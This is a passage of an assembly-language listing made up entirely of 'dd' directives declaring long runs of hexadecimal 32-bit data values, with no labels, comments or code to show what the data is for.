		dd 8B7DA08h, 75089AEBh,	0F1B91BA6h, 0A938DCC7h,	0B8081D63h
		dd 0DB18195Eh, 884F08D0h, 8120411h, 50CC6F2h, 40E33080h
		dd 35657F10h, 0EC444110h, 0C70CC530h, 8F400A69h, 10B062DBh
		dd 0EF038A96h, 1308151Bh, 7631F86Ch, 16BE908h, 2095F432h
		dd 0D518E0A3h, 265208C9h, 229418C9h, 0E60061Ch,	311BF978h
		dd 4D6959D8h, 0A47E8090h, 3199A683h, 6F08B5CAh,	6E208C7Ah
		dd 412D0882h, 5119FF7Fh, 0C408644Bh, 0B42F8995h, 10D89010h
		dd 543FCB10h, 0D2457DC0h, 56DA798Ch, 6D62F208h,	0E9BEF818h
		dd 0D052CF70h, 0A3184921h, 5405A853h, 64C78069h, 9B4B179h
		dd 737824A6h, 487A0892h, 0C9390D88h, 3C225F10h,	8C093876h
		dd 40C6089Dh, 0D4A89720h, 0E3806A26h, 4318CA28h, 861888D0h
		dd 10FBB30Ch, 24C092E4h, 99989392h, 53DD0858h, 99102C9Ch
		dd 10186FF6h, 9EAC08A5h, 80A60E80h, 30C63293h, 0F8088371h
		dd 51728124h, 1A881B4h,	0CD02132Dh, 9CABE4A3h, 0F5481010h
		dd 6290512Ah, 0C321E132h, 3422E4A9h, 0A803AE3Ah, 9E201033h
		dd 89F24B8h, 8949588h, 3318623Dh, 0C8884459h, 4C08EC99h
		dd 49211803h, 2681BC3Fh, 92DF0424h, 88A2497Ch, 74984078h
		dd 40812940h, 0FE4005C8h, 72FD40CFh, 12C1A116h,	0AC4F7820h
		dd 91132CD2h, 0AD0881D8h, 8F92BBEAh, 0A087C310h, 1A1BBD38h
		dd 5E600BB4h, 3C208A04h, 0E9119DD6h, 503BB258h,	0F74AAD99h
		dd 0E382F4A8h, 1CE602BBh, 3F9FE39h, 42787C2Eh, 3F56D8F8h
		dd 1CD45A65h, 1C2143EFh, 62F347EDh, 28FCE0DAh, 2A0C2C01h
		dd 788FB7B8h, 0AA8021B4h, 0D5D390Eh, 14ACE201h,	0DC303AC0h
		dd 0C06662F0h, 0B9BE3129h, 7B007607h, 0B7D4AC65h, 1E79CCD6h
		dd 0CE4FBCAh, 8F78B32Ah, 6114AF03h, 0F8AC6B96h,	12012CD9h
		dd 0B8431930h, 44E3EB4h, 9335B0BCh, 0D444C0FFh,	0A0C09711h
		dd 7298F5Dh, 78DC807Bh,	6892B40Fh, 5298FC5Ch, 4AAC5040h
		dd 1F88E4E8h, 0B6895B14h
		dd 78D41794h, 0DD28A8C0h, 2A360082h, 5E7D9163h,	513FAF74h
		dd 0AB4A9B65h, 0C469E248h, 934B0EC4h, 3280551Ah, 7CD4890Bh
		dd 5C6DEA40h, 3B00F0BBh, 6A5A2A03h, 0F1440B9h, 845BCDh
		dd 734921E0h, 0F25CF77Ah, 0DC6F261Ah, 0BC9100AEh, 4987C9CEh
		dd 59F8B401h, 0C39DD26Ch, 0E039C2ECh, 2F761962h, 849B4682h
		dd 42E1AC88h, 504EACF4h, 0ECAE8451h, 0F16EEBEh,	0D4263258h
		dd 3C0059A9h, 0A5BA6B66h, 4F10340Bh, 1F5CF094h,	80A7B65Fh
		dd 119EE9AAh, 8E256378h, 4DB461EFh, 7B2E2840h, 0B4A60AF3h
		dd 4FF4B9FAh, 5597C9h, 6AEE2D94h, 5C8F78C2h, 613086FAh
		dd 82551890h, 1324140Ah, 0AE00C033h, 0B2D442DFh, 0DE98C054h
		dd 11C2A1Ah, 31FCB0A0h,	0EEB86C0Eh, 59BCA015h, 60FF1909h
		dd 461E849h, 7D03C169h,	0BBF32C4Eh, 4B201031h, 0DB620547h
		dd 0F0049FB6h, 5A006D8Ch, 341B048h, 83697625h, 1B24FF8h
		dd 661953D8h, 804E7F12h, 0B4DC5540h, 9D6C921Ah,	6CAC1C69h
		dd 0BE618590h, 0E6D420B0h, 300892CAh, 0E6B0B36Ch, 0AD0FE3A4h
		dd 0E0B5BC2Fh, 0AC894333h, 63D4A4DFh, 5B024A46h, 0B965D4E8h
		dd 560C092h, 8A551221h,	0B458C3D6h, 0EFC166CFh,	0D41086C5h
		dd 285141h, 0C8AE0608h,	1CD09280h, 0C0B66A04h, 2280DEC3h
		dd 67233A35h, 30B18845h, 112A0DD1h, 76C85750h, 0E39E73Dh
		dd 0E72E8ADAh, 4CE3D82Ch, 0B78050D6h, 257217h, 8F7AB902h
		dd 58EB2CC0h, 1DCAD414h, 3C1E76D8h, 614C291Bh, 1339092h
		dd 325C893Bh, 22ECACF2h, 0BA6A13B8h, 82167CD0h,	0F12B0010h
		dd 0D457770Ah, 50C232A5h, 0A02EAFC2h, 0B61955C8h, 0DFE0A0D7h
		dd 15AD80BFh, 0DA2E0703h, 0EACEE264h, 33C8A0C9h, 16B48963h
		dd 0EC0466B7h, 8DE98468h, 0B5032104h, 7DE6EC50h, 6EE0E8A8h
		dd 847C7B00h, 9ED1AA50h, 92100C9h, 327D2B43h, 0E9E02A07h
		dd 442838C3h, 0D4E1A896h, 269D0615h, 0E5A802Dh,	28C03460h
		dd 573304Ch, 0AC2AA11Ah, 828024D1h, 0BB062164h,	13488460h
		dd 0B03FD4DBh, 917268D8h, 0FE003891h, 117C66D5h, 77337DBEh
		dd 0D1C30309h, 0B94D1929h, 81315123h, 0C79EEAAAh, 5E308F81h
		dd 29E282E6h, 0A88C7889h, 1FF58F0h, 7E5C8452h, 0CC4D352Ch
		dd 1E0239F0h, 2FD5464Eh, 0C3EC40B2h, 0CB290669h, 90FC895Eh
		dd 0F1BB7A40h, 40FAB820h, 6750916Bh, 0F0C5AE5Ch, 56C54CD4h
		dd 2AC4601Eh, 6C91331Dh, 8014C572h, 9F86DAC0h, 4EA1C883h
		dd 63292A89h, 2A191094h, 577C400Dh, 0A38E656h, 0F46D59D4h
		dd 31561D81h, 57205E69h, 57053039h, 0BDF9BE11h,	4FD7D8A0h
		dd 435D80h, 96D1DA1h, 32656C12h, 3AC2E5EAh, 81B6C629h
		dd 425CF298h, 78088EF0h, 0D4720C2Bh, 6270AC43h,	401A2925h
		dd 1190440h, 0BADC477Bh, 0D47689E9h, 3000239h, 0B4185146h
		dd 674911F5h, 2092C04Dh, 0F043BAAh, 4BED1500h, 3511D78Dh
		dd 0D1E1C8F4h, 0E73F62h, 2CE60439h, 0DC4BE81Fh,	185B8E0Ch
		dd 11D49991h, 77327259h, 6447C07Dh, 0DA182084h,	0AC9420F1h
		dd 8450E948h, 0D0881B21h, 0BA94A3B4h, 0FE74C95Ah, 2B57D940h
		dd 0BC04122Ch, 94387081h, 290039BFh, 44907455h,	627ED4DFh
		dd 2ECB58C1h, 0E3968CC0h, 0E027C1C2h, 4248402Ch, 0B041D91Bh
		dd 4C4608Eh, 4B26F076h,	551C9834h, 3996B4A4h, 9859180Fh
		dd 14325A08h, 60EAAC28h, 2A083B02h, 9841C5FEh, 10A80601h
		dd 2E413719h, 133C37D1h, 70421480h, 82EC6CDBh, 68768Ch
		dd 5873445Eh, 0F799EF12h, 0B80F150Eh, 12C74D60h, 2CBFBF6h
		dd 8ED695D0h, 34ED7141h, 0E32EDD7Ch, 6900A934h,	4A5B285Dh
		dd 642E0038h, 9D22CF91h, 1424E512h, 0D24264E0h,	81C90556h
		dd 0DE43446Ch, 5F00CC0Ah, 2C9128D3h, 39DA802Fh,	15DB201Ch
		dd 0ACE35A03h, 20304217h, 418B951Ch, 0FC38297Dh, 0C37083B9h
		dd 986C8EF1h, 0B480A08h, 4788D055h, 79DD2820h, 0CB5CC74Ah
		dd 1A0C1070h, 29CCD100h, 10FDAB6Bh, 0AC7C6D00h,	56A827BEh
		dd 1A737E34h, 60BBA70Dh, 4400A862h, 0C7B6C511h,	0D430664Ch
		dd 0A2C8160h, 2074A64Dh, 0C9C50E7Ch, 11827D07h,	10761D7Bh
		dd 570138A4h, 83A6219h,	2E2ED833h, 11A63B9Eh, 38D90C46h
		dd 0F0B81080h, 6FF0120h, 0FB99D44Ch, 2AFC0E0Eh,	38ED742Ch
		dd 902B304Ch, 4EE4D24h,	13C94F24h, 0ACB861FEh, 26D062DEh
		dd 190CB8C7h, 3092A147h, 9A982BCEh, 4C0207B5h, 0F09EC96Dh
		dd 9B0C071h, 0BCE92CD5h, 0EA0360D8h, 270B2C72h,	5536B5Ch
		dd 9C906E47h, 0BAE01712h, 6B87E24h, 7DD42ABBh, 81F42026h
		dd 8C123F24h, 79BD43h, 0B79E6D58h, 11803EE6h, 3A656A00h
		dd 7259D51Ch, 2ABCB8A3h, 0B08AC6Ch, 0CC2964DEh,	40EA74D0h
		dd 0C4C09E6h, 2039C9A8h, 757F0B4h, 1054BA23h, 7A5AC6D4h
		dd 9365E0F3h, 38927C71h, 39092902h, 668018EFh, 0E02A0FDCh
		dd 288A325Dh, 0A21044A8h, 615864B8h, 0F82394A1h, 0DC48190Ch
		dd 620EC459h, 64721164h, 0D0A20B20h, 29504A22h,	4350FAECh
		dd 3A00BEE8h, 65478DA7h, 4C8946ABh, 0C42627A1h,	175E01C8h
		dd 0E4386151h, 58779DDDh, 3F16B3Ah, 7C85F28h, 663AD2E2h
		dd 50D4737Ch, 39ECC038h, 55BE4711h, 0F5A92F31h,	0D4C301FEh
		dd 813E8860h, 5BA08CB5h, 71ED3850h, 0BCAD3A11h,	0B203BCC8h
		dd 55C9D23Bh, 49100AEBh, 620042BBh, 9ACC2A05h, 0AA390890h
		dd 191F066Fh, 5C200927h, 950EA089h, 16B6E704h, 4594F0DBh
		dd 56146E00h, 11EEB41Ah, 0E88A56D9h, 843A6334h,	46C12F8h
		dd 217C8C8h, 6270C995h,	0C4AC42B5h, 13B8919Ch, 842C12AEh
		dd 5940D8F0h, 5921386Dh, 80B0FACBh, 41D6AC30h, 3A793C51h
		dd 0EE28F33Ch, 0AA690908h, 8C6777Dh, 90202B5Fh,	7801758Bh
		dd 48FB6864h, 33620B08h, 0B09A00A2h, 4880BC5Ah,	7CBAF2FCh
		dd 0CBC96C04h, 0DC88FDACh, 296B09C3h, 3801131Fh, 85B29012h
		dd 9B6F4118h, 7491F866h, 30CC4A61h, 62EC2C50h, 0C066D0A2h
		dd 3922420h, 0CA954C80h, 90B40B11h, 325CBB5Ch, 0F6B4E200h
		dd 6EDF4C61h, 0E92348FAh, 0BEEBE800h, 4803C9C2h, 29BBB21Eh
		dd 181FC557h, 78012CF8h, 0EFE1FC00h, 4B330939h,	608C530Bh
		dd 0A6CC19D0h, 0BC4CAB81h, 7FF700EBh, 53A63BCh,	8498429Eh
		dd 39E32C06h, 9119D1Dh,	67A0D4DAh, 61C2D044h, 61D255h
		dd 0DC62EFB4h, 0A503847Dh, 35922885h, 0B4E141E5h, 38210E0h
		dd 0AC59977Ch, 0DF8840D4h, 20320F8h, 5DC21E11h,	54BBE16Ch
		dd 68DAA3FDh, 244F6A8h,	29931121h, 44186EEh, 85C9EF94h
		dd 9195078Bh, 355528DCh, 99D5A6h, 9C4B0538h, 7CB3E465h
		dd 714998B0h, 6908384Ah, 32475A4h, 6A50D505h, 9B54038h
		dd 44A1B129h, 3542C7Ch,	5911614Ch, 9168C816h, 0C4046658h
		dd 0C4254318h, 330CA5A4h, 0A8643D78h, 613CA820h, 5F739E6Bh
		dd 0FC8C1852h, 449039h,	736D2787h, 8EAF8F02h, 6CB280EFh
		dd 0C6D1A0CAh, 121792Fh, 0E1B1D0Fh, 7067C52Ch, 6A4FD424h
		dd 0D09C9018h, 16C8C77Ch, 41580AB4h, 75A5AF55h,	0D4908494h
		dd 0E0D035B3h, 1DA02178h, 6C5B5981h, 282CAC28h,	0BD83303Ch
		dd 0E001A1A9h, 66B7AA07h, 11EB09B2h, 7F2162C8h,	823A1C38h
		dd 16682B87h, 60B80021h, 0C8CC496Dh, 0EF909Eh, 0CDB36D4h
		dd 52792A0Dh, 2986FC91h, 0A010B565h, 0B184A34h,	0D23A69E3h
		dd 98AE6876h, 4CA30A00h, 18172F12h, 0A10CCFD4h,	0D77BACF4h
		dd 573A5B04h, 64883334h
		dd 2C195CA6h, 2CD1D40Dh, 7C1C34A8h, 0B30C8494h,	51660BBh
		dd 226C6A55h, 0F6FA814Ah, 7A909790h, 2410809h, 8136CBC0h
		dd 0C8C98EE8h, 0C3340876h, 0D41CF034h, 186B4C33h, 3BD8206Ah
		dd 33BD7C15h, 0D56C004Ch, 87DB8ABCh, 0CFD7B65h,	0C32811E4h
		dd 2C90CAF0h, 3FE24709h, 0BF6F8031h, 0C06AEDD4h, 77F8B658h
		dd 0CF7C08E5h, 1F11F50Bh, 2949314h, 0D6D461D8h,	78801274h
		dd 7703247h, 9C20F4B8h,	0D4E88052h, 34304D34h, 7A12A53Ch
		dd 84E0D721h, 2988F0AFh, 9ACA25Dh, 7305CE4h, 0EB72645Ch
		dd 0CCC068F0h, 78860085h, 0DE1AAC7Ch, 0C83CEA88h, 38A93029h
		dd 455FE0h, 0B9962855h,	0BAA1FF58h, 0D43FC51Dh,	34CA60D2h
		dd 56BE0106h, 95F608B2h, 48486B69h, 4DC555D4h, 1F4E0496h
		dd 0B8D82704h, 53038574h, 0DF192BE2h, 0CA5005E7h, 0A00EB563h
		dd 0C9796B14h, 10FCAC2Dh, 8066408Ch, 1112D7B5h,	3C8C8024h
		dd 4BC824AAh, 0D2046F58h, 0D4190155h, 4880AE1Fh, 5C66CA6Bh
		dd 6180EE33h, 88083129h, 0CC2CDF28h, 0C1B5392Ah, 843CE4F8h
		dd 290882A5h, 0F5E1B449h, 915042FAh, 0FE1734D1h, 887C2C0Ch
		dd 9A749833h, 98D425D4h, 1F2C2C50h, 1E88702Bh, 0C3420085h
		dd 0E3E2D366h, 1BC0CFF1h, 29129011h, 8007C64Ch,	0CA207FDBh
		dd 2816796h, 0BAD7B861h, 870472Ah, 922D42Dh, 0D3A8B8C4h
		dd 5191829h, 6C591037h,	109DD72Eh, 0DD20A0C9h, 3D345A85h
		dd 9890526Bh, 0F8452925h, 9CD29016h, 204870AAh,	70C3D9FAh
		dd 0C0E528E2h, 1E67BB91h, 40B69E89h, 5A817115h,	9001E2D2h
		dd 162E9CD8h, 6B60BA67h, 0A612FC25h, 86914158h,	0DE44D469h
		dd 0D8D60218h, 8EE97EDAh, 0D0603962h, 1C00AD29h, 3AE677B5h
		dd 5ED46404h, 888412BAh, 0BB7C696Ch, 3F87149h, 0FC86B080h
		dd 4BE7E77Fh, 0AC475AF0h, 0F10EB014h, 5BF4C0EAh, 73B01D81h
		dd 29111A46h, 0D4179816h, 4C056B0h, 14761E2h, 0B5E84D5Fh
		dd 6CBB80D8h, 533E1078h, 0D42C4B04h, 0F1089065h, 1490893Ah
		dd 1910D893h, 1DB4DB02h, 68C66B92h, 5A7A1542h, 7CF4C188h
		dd 0A0876F0h, 0F665D58Ch, 491C7C2Ah, 2B4FB84Bh,	34C4B3D4h
		dd 27E554C0h, 30427B3Bh, 3460AB81h, 904D2Fh, 5C0E3100h
		dd 35EEFA46h, 248C00F8h, 7C9EC5Eh, 74404FD5h, 56FB0915h
		dd 78695DD4h, 10E029DBh, 4E2DBAB4h, 5AF17C18h, 3E208090h
		dd 0B79219F4h, 79D8D1F2h, 90CA0344h, 9A607CB0h,	8890E367h
		dd 3C576917h, 0CB00CD30h, 135418A2h, 67079178h,	0E9EE62C3h
		dd 0E22231D0h, 29B10A01h, 7803D86h, 55A73A34h, 2050DD39h
		dd 0A89A0CFFh, 1650083Ch, 98F9C7D7h, 3B6C2A0Ah,	0B482CFCh
		dd 0FC6C0B34h, 0E595A800h, 5DFB4580h, 92E62412h, 0B2D2815Ch
		dd 20E73C72h, 3004C328h, 6A119355h, 0CC264C3h, 98472911h
		dd 0CF8E2A0h, 6180C60Eh, 261B242Ah, 33DB2C01h, 613C4C13h
		dd 94269990h, 0C4A44410h, 66A7B405h, 6787DC01h,	0D7C94030h
		dd 0F2D060h, 0CA602C3Ch, 6F28E50Ah, 0D316A02h, 8577AC19h
		dd 98D892D0h, 2C4247E0h, 5410C897h, 298F5B03h, 305A2430h
		dd 730CF01Eh, 42CC864h,	0AC5961F7h, 6118E2EFh, 99D3D4C0h
		dd 2DD22101h, 0C2DC0D1Ch, 0EED07EAEh, 2554B662h, 27D41018h
		dd 4A9C805Dh, 40108CA9h, 944C0E9Dh, 584EC0C5h, 504F8467h
		dd 40E4C4DBh, 0DA0062EDh, 0AD17715Fh, 48F0DF3h,	3D1282CFh
		dd 6888D68Ch, 0CB4EB89Eh, 0DA00A01Eh, 1AD8E5Dh,	136323D5h
		dd 50657BD4h, 2984FC90h, 9CE64278h, 94309164h, 0F9077085h
		dd 1660DEAEh, 0F446682h, 83A597Eh, 6DB4A6A0h, 6701C094h
		dd 9360D511h, 88AE4A1Ch, 0AD950348h, 32900DBFh,	9F30D06Ch
		dd 91BB087Dh, 88B204C8h, 0E65EF3DEh, 0B3811974h, 0CBDC6398h
		dd 2F4091E8h, 0B494A82Bh, 6701F2B0h, 0B5F4335Eh, 503563E4h
		dd 7779707Ch, 0D4E201B4h, 0C2BF020Eh, 0EC47C480h, 90461826h
		dd 1E50E104h, 32DFF300h, 55F8CF6Fh, 2C7B853Ah, 788908B4h
		dd 80AC000Ah, 0CEE5225h, 46C4125Bh, 0D000D188h,	0D4FE2135h
		dd 731A55Ch, 0F2EE8ACh,	5119C13Fh, 8A28973Eh, 0CE29E481h
		dd 0F8728825h, 813DD412h, 3D433728h, 6470730h, 26F58AF2h
		dd 0F05E50B8h, 508287F8h, 481915CCh, 0C04E9422h, 0EA85B1D0h
		dd 0B29BB09h, 2CB851B6h, 21CA93ACh, 0BC7C68h, 167D6C92h
		dd 131C3C73h, 1E45FFCh,	0C0D45CF8h, 9198873Dh, 0DBF3EAB9h
		dd 9AEB8019h, 2C561473h, 407A44FDh, 3D00ABB3h, 0AC614A1Ah
		dd 14BB7BEh, 0D0D26E90h, 215160D4h, 10E060BCh, 0B1591340h
		dd 9C99C90Ch, 0CE845C7h, 76212FABh, 0ECC9DA0Ah,	3026047Ch
		dd 0F1283318h, 20D09012h, 6B005EB9h, 7D4032ABh,	4CE79422h
		dd 8BA47C33h, 0DD8C00A4h, 35D5D164h, 180624F1h,	30C0EB3Ch
		dd 0BCAAF6E2h, 0C7C3C4F9h, 0C9B82531h, 0D044A809h, 3C62C417h
		dd 0EA0CB861h, 7B14AC62h, 5F27C079h, 5E2CF410h,	646581A0h
		dd 6C5002F4h, 0F200FFECh, 0ACDC7D9Bh, 0E88401h,	7791D2E6h
		dd 4C64EDEAh, 9465804h,	8812524h, 509E304Bh, 0C8729655h
		dd 0D43B1908h, 489D4A28h, 14D6646Ch, 0BE844CECh, 70D8B031h
		dd 8B20736Fh, 9BB06B9Fh, 5695B89h, 272CB0D8h, 0DC417BACh
		dd 23471B6h, 0ECC8E318h, 956B77D4h, 16A46550h, 0E3BCCC21h
		dd 28D8BF5Dh, 1C9CA0D7h, 6C7C198Ah, 0D86312BCh,	8A91B044h
		dd 0E6297801h, 0AC708948h, 1EBC73D0h, 25AAFA61h, 86A42ECh
		dd 684E555h, 21230419h,	8B3F7605h, 50A5318Ah, 2A804444h
		dd 56B6418h, 1F11DD94h,	6AE804C0h, 17B080BCh, 20FB90DBh
		dd 603ADA1Ch, 3988D527h, 0E69D84ACh, 3B88CCA8h,	24017424h
		dd 6011E0B5h, 4D40002Ah, 41B3D56Ch, 12135EE8h, 4C4044CDh
		dd 0F4212FD2h, 72CE0BC3h, 0C040DA34h, 0B4023539h, 22D4E058h
		dd 500E0B98h, 44605520h, 1112BF7Ch, 50F4858Bh, 0DFE90FD3h
		dd 4789C620h, 0D4DDD8A0h, 2F82CB25h, 0C8521E80h, 0C6F25842h
		dd 805A0985h, 4AB3D620h, 4668D557h, 0E93DFE78h,	55E1E0BCh
		dd 5C7861E3h, 916338C2h, 0F0F57840h, 7778227Fh,	0D4106B4Eh
		dd 761500BEh, 0AA8EA8C4h, 44044906h, 0C91D684Ch, 320D7998h
		dd 4250B6E0h, 0F4E84C0Bh, 477ADACBh, 0B2B56A00h, 0AE04DEADh
		dd 4E60B8F0h, 0B4C800EFh, 2C4D61F3h, 2F11B80Ch,	286278CEh
		dd 39BD23D4h, 47BCED2Dh, 107AC118h, 68C99E14h, 58442011h
		dd 60A1296Dh, 0CF6C9807h, 0D30091B2h, 0F4D1C7C1h, 5F2A0F2Ch
		dd 4640980h, 0FD144010h, 0F3D4590Ch, 1E341099h,	49DB56FBh
		dd 1823DFF4h, 902CD0A4h, 5949A846h, 8219841Ch, 0ADB8D03Fh
		dd 0ECC3F6EEh, 2EBF9AD4h, 441C6C40h, 4FA8BD4Ch,	4CC21864h
		dd 1424E05Ch, 32720344h, 7A09B8ACh, 0FE3A70AFh,	457247DFh
		dd 0D8C86C30h, 13D72B70h, 16EC192Eh, 38E000E8h,	0CAA8578Dh
		dd 8395E4F2h, 9D99C0h, 387CDCF0h, 81646F2Fh, 0F1B65305h
		dd 0CC40F0D2h, 4C5E71C1h, 0DE770033h, 0BB2C1C3Ah, 72018EE3h
		dd 8BF43B87h, 27DF89D4h, 0AC4626B1h, 2A063B13h,	0BC881824h
		dd 4B327D4Bh, 75280F89h, 6C826A09h, 28401680h, 1A3CFB67h
		dd 49CE9235h, 22995089h, 282F1053h, 7E407208h, 91C9869h
		dd 1A869DE8h, 4839558Ch, 0DE41B209h, 80DC617Ch,	0F0D4522Eh
		dd 0C92691C8h, 584A24CCh, 0A8C8AD16h, 727C0FD4h, 0FC1E76D7h
		dd 9508EC28h, 0F039BCA5h, 3A2A2B60h, 0AF3DD4BAh, 7750C804h
		dd 6F4BBE40h, 7B26F034h
		dd 94979885h, 80291200h, 14A4A1A4h, 53E4A098h, 39CEB409h
		dd 8AC49804h, 0CCC582C0h, 0FA104CACh, 26E10079h, 0CD6C40C5h
		dd 0B707659Fh, 30837067h, 7D20D990h, 481A0EECh,	0E5605AEDh
		dd 0D1C8A891h, 3AACC65Ch, 87AC8BF8h, 0C9406075h, 12650966h
		dd 80A156BBh, 3895D417h, 299105A8h, 30F40BF4h, 9002FB74h
		dd 2C1F0CF9h, 56881AEDh, 0E2CFC0F4h, 83BD085Ah,	9CBF6740h
		dd 0C03A74F5h, 3447A888h, 59120F40h, 0C3240898h, 25F907C0h
		dd 0F80D7028h, 2F5AD460h, 0F323009h, 3837AC1Bh,	7C9C0183h
		dd 917957FDh, 0C1DAC467h, 19ACE301h, 86184B12h,	0B0631420h
		dd 57DD2693h, 0B089A740h, 33C46C8Fh, 0B298B822h, 0CB00C002h
		dd 0F5B4270Bh, 8C28A418h, 2ADA751Dh, 0F9A37D40h, 1FFAA108h
		dd 409C7090h, 0B2425C88h, 4B90E5F3h, 11AD962Dh,	0D8654B7Ch
		dd 805CF0F0h, 3CA9EEACh, 3CB0491Ch, 593277E4h, 0D9172892h
		dd 3B190BE8h, 617690F0h, 0D21260A5h, 487008C8h,	0C200C402h
		dd 4BA00EAFh, 5B2EA862h, 0B0B84019h, 455F2013h,	677D3E4Dh
		dd 0B84AAB0Eh, 77A029ECh, 53B3A514h, 0E8AD259Fh, 400854D0h
		dd 9E27305Ch, 633C1226h, 90CD9890h, 166935AAh, 7E13AE89h
		dd 4409F8D7h, 83C25EDCh, 0A94C4DA0h, 94E17F4h, 4C07452h
		dd 2C125DE0h, 849C06D3h, 0B339E57Ch, 80FD2D7Ch,	21F2AC84h
		dd 0C7D83F7Eh, 0B9F9188Ah, 0D9D683B4h, 0CC98D1F4h, 1C27ECE2h
		dd 69946843h, 0C89B0E01h, 9898BDD4h, 29276C60h,	86640F77h
		dd 13601458h, 753A9C2Eh, 0CEC85ECh, 8010344Dh, 2FB73F1Dh
		dd 0F988AA01h, 0C8FA1C18h, 0E3B5D4DCh, 44198874h, 58945A38h
		dd 63BDCA04h, 0FA1968BCh, 2C388960h, 0BEDEC768h, 0CAD4A143h
		dd 5598801Bh, 0F40361h,	0BAF6DD98h, 1D9229ECh, 262200BAh
		dd 3CBC88BEh, 9047F6A7h, 55F00B0h, 8A568FD3h, 466ACBD4h
		dd 841C78D1h, 6DD51804h, 0FE8084C7h, 7ED46B4Dh,	16AC809Ch
		dd 0E4C2EF03h, 0E9CE415Dh, 0E83357A7h, 0ACF0844Eh, 712908C4h
		dd 0EBAC1220h, 50C4000h, 0BF2C43DFh, 3D41C81h, 0CDB04509h
		dd 60920084h, 919D063Ah, 9102E880h, 0E3402866h,	0AC685448h
		dd 0D5B4441h, 0AB0800BDh, 3172036h, 11BEA614h, 18242E06h
		dd 0F63CAC55h, 18FB8404h, 4E008893h, 5B33D58Ch,	49AFEC9Bh
		dd 56EEA658h, 0AC0B64CCh, 78C196B0h, 0FF008CCCh, 0B700C150h
		dd 68F9AC94h, 3D4E3EDh,	0B2D36C88h, 8DBA97F7h, 24317C48h
		dd 5E587DFCh, 4080B508h, 29560432h, 0A7E8D9CAh,	45A462h
		dd 0D0AE9821h, 6CF29564h, 0C3ECB54Bh, 22A4DCB0h, 0A89AD0B0h
		dd 1912647Ah, 0C4E6BA17h, 0E4CC813Dh, 982A261Eh, 0D2032013h
		dd 0E5317905h, 0DCC114ECh, 2F277Ch, 5AD8184h, 0A80E6B20h
		dd 97A94103h, 881F0A1h,	93299FCEh, 58003F97h, 0D4F41FDBh
		dd 144E4DF1h, 600FB72Dh, 53557FA0h, 0A300AF90h,	0E7A95F64h
		dd 4517ECh, 3C01BAACh, 83A48EBh, 0C0FC9501h, 0A4CED5A3h
		dd 4B851000h, 910CEA00h, 0B36A96B9h, 0ACEC3F71h, 0BE814981h
		dd 797511EDh, 3FF71094h, 59F42C09h, 4CE01000h, 1910366Ch
		dd 54099055h, 1C89CFB4h, 95AF4018h, 66C7CCA8h, 0F4F8FE07h
		dd 0DD2499Bh, 8A620047h, 0EA00BAF5h, 0A528CDD1h, 120149BDh
		dd 116BCA6Eh, 19C2E47Ch, 0C60D21Ah, 6513C72Fh, 3404F53Bh
		dd 0EF478FFCh, 0BA408B7Bh, 14983BC2h, 0A89C69ECh, 63935860h
		dd 81249190h, 0E13D2F43h, 9CA22FF0h, 1A38942Ch,	1868C84Bh
		dd 0EC0AD262h, 8CCDFEDEh, 50927E0Dh, 794413E8h,	95E6FEF2h
		dd 80908492h, 0B512BE31h, 0A02BB30h, 6846D470h,	0E2A174h
		dd 0DD7BA790h, 5AA4287Eh, 65565700h, 7BCCD29h, 0D4E13DF0h
		dd 3D127B0h, 484A102Ah,	0B4C20884h, 2904C0DCh, 0AD8CA1BBh
		dd 2C051C6Dh, 0A96268BDh, 8884FDCh, 0B43B40C3h,	430E34Eh
		dd 13F7E2BAh, 806AD465h, 0DB87424Ch, 0D4964028h, 3714100Bh
		dd 6D5082D3h, 52E45AD7h, 2851D0EBh, 417B004Ch, 0E55834A2h
		dd 949518BAh, 0B5552718h, 60417CCAh, 3C342E5Dh,	275A40F0h
		dd 0D0E919B2h, 5A342321h, 16CBA430h, 0D0FC5089h, 4E195A7Ah
		dd 7529B750h, 0D4DD87DFh, 0C7F4C339h, 5B76C632h, 91D40570h
		dd 35CF2DBh, 986DAEFFh,	50EBEF34h, 0E1CA12B0h, 0DBF8C347h
		dd 8EE089E1h, 0D32AF118h, 0F3ECCCE1h, 1B4A954h,	0A0D7CAF0h
		dd 4FDD34E8h, 9724A064h, 6371B277h, 1C222913h, 1C72E0B5h
		dd 18096E25h, 508A88E9h, 2EE446F4h, 55E89650h, 87002C96h
		dd 51C3731Dh, 0ACE10030h, 3C0EDAF7h, 1013A5Ah, 9F8C3D23h
		dd 1FC884DDh, 0CA850B27h, 7458E4FCh, 0A94B5512h, 670744F3h
		dd 103062B3h, 20AA2C51h, 0E0F41925h, 9D0A3F94h,	75CD8A7h
		dd 326162EFh, 0C855E081h, 64F80452h, 9E9C8C4Eh,	18A6824Ch
		dd 0F748E134h, 0FFEC135Eh, 0C4CCC142h, 3A2E896Ch, 0A684D314h
		dd 0D5A68AE4h, 0ACE000A4h, 0B220FF19h, 2B9E9862h, 0E46852BAh
		dd 0BBB33C74h, 1F855049h, 2D1CC933h, 5FD40B48h,	17685821h
		dd 1C1387BDh, 0E3F19333h, 4941108Ch, 34A5AB00h,	0D6AC32AFh
		dd 0CC88D4h, 578A0439h,	8CEDDBh, 789163E0h, 833FA617h
		dd 8061283Ah, 29DD2BB8h, 1724EEDh, 5CFB6945h, 2425D5A4h
		dd 3B00F814h, 0CAA651C2h, 1FB4E605h, 6D554E12h,	0E940FC44h
		dd 987CFC6Ch, 62E6407Ch, 9DCDE4E3h, 0B846464Bh,	6A0CB73h
		dd 9011E57Ch, 6A0FC134h, 0C1A494Fh, 0F77A8E3h, 355472BDh
		dd 0C79210E0h, 3328C3E5h, 6000B08Dh, 6A1AD782h,	98326376h
		dd 0ED141F80h, 91E8C04Bh, 12B11B57h, 0C409FA4Fh, 0DEF03A58h
		dd 7C7B0C14h, 0B50562B9h, 0B30532E5h, 6A19D444h, 0B393B40Fh
		dd 46900008h, 10E90FB5h, 0AA3C1E6Ch, 1F29866Ah,	0BDE0308Eh
		dd 0F9AE8303h, 0B046FEACh, 2D299C01h, 46A9641h,	4D86062h
		dd 55186201h, 70AE35EFh, 26891ECh, 0FB7EF4DDh, 0B4702AD4h
		dd 0E50AD900h, 8C56FDB4h, 44A75B5Ah, 578CDA0h, 0B4C839C8h
		dd 0ED112EEEh, 0FE578090h, 839BDB27h, 4E18AC05h, 1CC2812Ch
		dd 55E46863h, 88C25BDFh, 80A1AA04h, 796C3146h, 7D588EE8h
		dd 6AEC02E5h, 4A6859D2h, 151C0900h, 9A7DC08h, 4890CF70h
		dd 0DCFED416h, 3ECCD882h, 7D2A9DFFh, 704820B8h,	0B7755512h
		dd 0C6AF2C44h, 0AC925604h, 0B878D8DCh, 0B2117DDBh, 0A8C461BCh
